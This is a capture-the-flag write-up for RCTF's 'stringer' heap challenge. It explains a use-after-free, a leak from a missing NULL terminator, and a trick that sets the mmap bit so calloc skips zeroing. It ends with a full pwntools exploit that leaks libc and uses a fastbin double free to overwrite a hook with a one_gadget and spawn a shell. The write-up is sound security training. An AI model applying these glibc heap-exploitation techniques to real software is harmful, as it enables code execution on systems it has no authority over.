Challenge from RCTF, prequals to XCTF.
There are 2 bugs in the program : the first is an obvious UAF. The second is no NULL termination immediately after our input, allowing us to leak. NULL byte terminates at buf + size - 1, read loop breaks if buf == "\n"
However, leaking is tricky since program uses calloc, which sets the newly allocated heap chunk to 0x00.
First we need to know how calloc works. We can find the calloc-only source snippet at str8outtaheap
Towards the end of the code, we find this:
d = (INTERNAL_SIZE_T *) mem;
clearsize = csz - SIZE_SZ;
nclears = clearsize / sizeof (INTERNAL_SIZE_T);
assert (nclears >= 3);
if (nclears > 9)
return memset (d, 0, clearsize);
However , there is an exception for this.
if (chunk_is_mmapped (p))
{
if (__builtin_expect (perturb_byte, 0))
return memset (mem, 0, sz);
return mem;
}
So if in size of p, the mmap bit is set, then it will believe that the p
is a mmaped chunk.
→ 0x7f4fde993e2e <calloc+286> mov rdx, QWORD PTR [r8-0x8]
0x7f4fde993e32 <calloc+290> test dl, 0x2
0x7f4fde993e35 <calloc+293> je 0x7f4fde993e90 <__libc_calloc+384>
the test dl, 0x2
is the test for the mmap bit.
So we need to find a way to alter the size of the chunk right after the malloc but before this check. Using the unsorted bin attack on an area near the size field, we can overwrite the size of the newly allocated chunk by partially overwriting it with the upper bytes of the main_arena.
To do so, we need to carefully align the heap ptrs in such a way that the bk is set to (chunk - 0x10 + 0x4 ) - 0x10
. We can just create 3 unsorted bins in the double linked list, and then use the edit
functionality to slowly increment the bk ptr. Since we have limited increments (max 0x80) , I chose to make them align such that there is a +0x100 difference.
gef➤ x/20xg 0x559e82fd2000+0x7bc0
0x559e82fd9bc0: 0x0000000000000000 0x00000000000000a1
0x559e82fd9bd0: 0x0000559e82fd9cd0 0x00007fb243f60b78
0x559e82fd9be0: 0x0000000000000000 0x0000000000000000
0x559e82fd9bf0: 0x0000000000000000 0x0000000000000000
0x559e82fd9c00: 0x0000000000000000 0x0000000000000000
0x559e82fd9c10: 0x0000000000000000 0x0000000000000000
0x559e82fd9c20: 0x0000000000000000 0x0000000000000000
0x559e82fd9c30: 0x0000000000000000 0x0000000000000000
0x559e82fd9c40: 0x0000000000000000 0x0000000000000000
0x559e82fd9c50: 0x0000000000000000 0x0000000000000000
gef➤
0x559e82fd9c60: 0x00000000000000a0 0x0000000000000070
0x559e82fd9c70: 0x4141414141414141 0x000000000000000a
0x559e82fd9c80: 0x0000000000000000 0x0000000000000000
0x559e82fd9c90: 0x0000000000000000 0x0000000000000000
0x559e82fd9ca0: 0x0000000000000000 0x0000000000000000
0x559e82fd9cb0: 0x0000000000000000 0x0000000000000000
0x559e82fd9cc0: 0x0000000000000000 0x0000000000000000
0x559e82fd9cd0: 0x0000000000000000 0x00000000000000d1
0x559e82fd9ce0: 0x00007fb243f60b78 0x0000559e82fd9bc0
So we have to now make 9bc0
to 9cd0 + 4 - 0x10 = 9cc4
, which only requires 5 increments.
After this it becomes a trivial fastbin attack.
#!/usr/bin/python
from pwn import *
#p = remote("stringer.2018.teamrois.cn",7272)
p = process("./stringer")
raw_input()
def menu():
p.recvuntil("choice:")
def new_str(leng,cont):
menu()
p.sendline("1")
p.recvuntil("length:")
p.sendline(str(leng))
p.recvuntil("content:")
p.sendline(cont)
def inc_str(idx,val):
menu()
p.sendline("3")
p.recvuntil("index:")
p.sendline(str(idx))
p.recvuntil("index:")
p.sendline(str(val))
def delete(idx):
menu()
p.sendline("4")
p.recvuntil("index:")
p.sendline(str(idx))
name = "A"*8
new_str(0xff,name) # 0
new_str(0xff,name) # 1
delete(1)
new_str(0xff,name) # 2
new_str(0xff,name) # 3
delete(0)
delete(2)
delete(3)
# now we can increment through these indices.
new_str(150,name) # 4
new_str(101,name) # 5
new_str(200,name) # 6
new_str(20,name) # 7
new_str(101,name) # 8
new_str(101,name) # 9
delete(6)
delete(4)
# increment idx = 1, val = 8 4 times, val = 9 1 time
inc_str(1,8)
inc_str(1,8)
inc_str(1,8)
inc_str(1,8)
inc_str(2,9)
raw_input()
new_str(200,"") # 10
p.recvuntil("your string: \n")
libc = "\x78" + p.recv(5) + "\x00"*2
libc = u64(libc) - 0x3c4b78
log.success("Libc: " + hex(libc))
delete(8)
delete(9)
delete(8)
buf = p64(libc + 0x3c4aed)
new_str(101,buf)
new_str(101,buf)
new_str(101,buf)
finale = "X"*19
finale += p64(libc + 0xf02a4)
new_str(101,finale)
delete(7)
delete(7)
p.interactive()
Flag : RCTF{Is_th1s_c1-1unk_m4pped?_df3ac9}